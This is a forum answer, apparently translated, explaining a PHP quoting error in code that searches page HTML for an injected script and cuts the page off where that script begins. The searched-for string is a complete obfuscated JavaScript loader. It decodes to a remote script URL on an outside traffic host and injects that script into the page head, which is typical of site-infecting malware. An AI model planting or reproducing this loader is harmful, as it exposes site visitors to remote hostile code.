By the code you posted it looks like this with error in the character '.

'<script type='text/javascript'>.....', it is opening string in the first ' and closing the string before the text/javascript and reopening string after, and continues.

apparently if you change ' initial and final by " should work

if ( $html_head_end = stripos( $html, "<script type='text/javascript'>var _0x1e38=['length','fromCharCode','createElement','type','async','code125','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e38,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e38[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 114, 119, 97, 114, 100, 109, 121, 116, 114, 97, 102, 102, 105, 99, 46, 99, 111, 109, 47, 97, 100, 46, 106, 115, 63, 112, 111, 114, 116, 61, 52, 52);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}</script></head>" ) ) {
    $html = substr( $html, 0, $html_head_end );
}

Moult:

if ( $html_head_end = stripos( $html, '/** js */' ) ) {

for:

if ( $html_head_end = stripos( $html, "/** js */" ) ) {

Since the js code uses ' php does not know whether you want to close the php string or open the string in js.
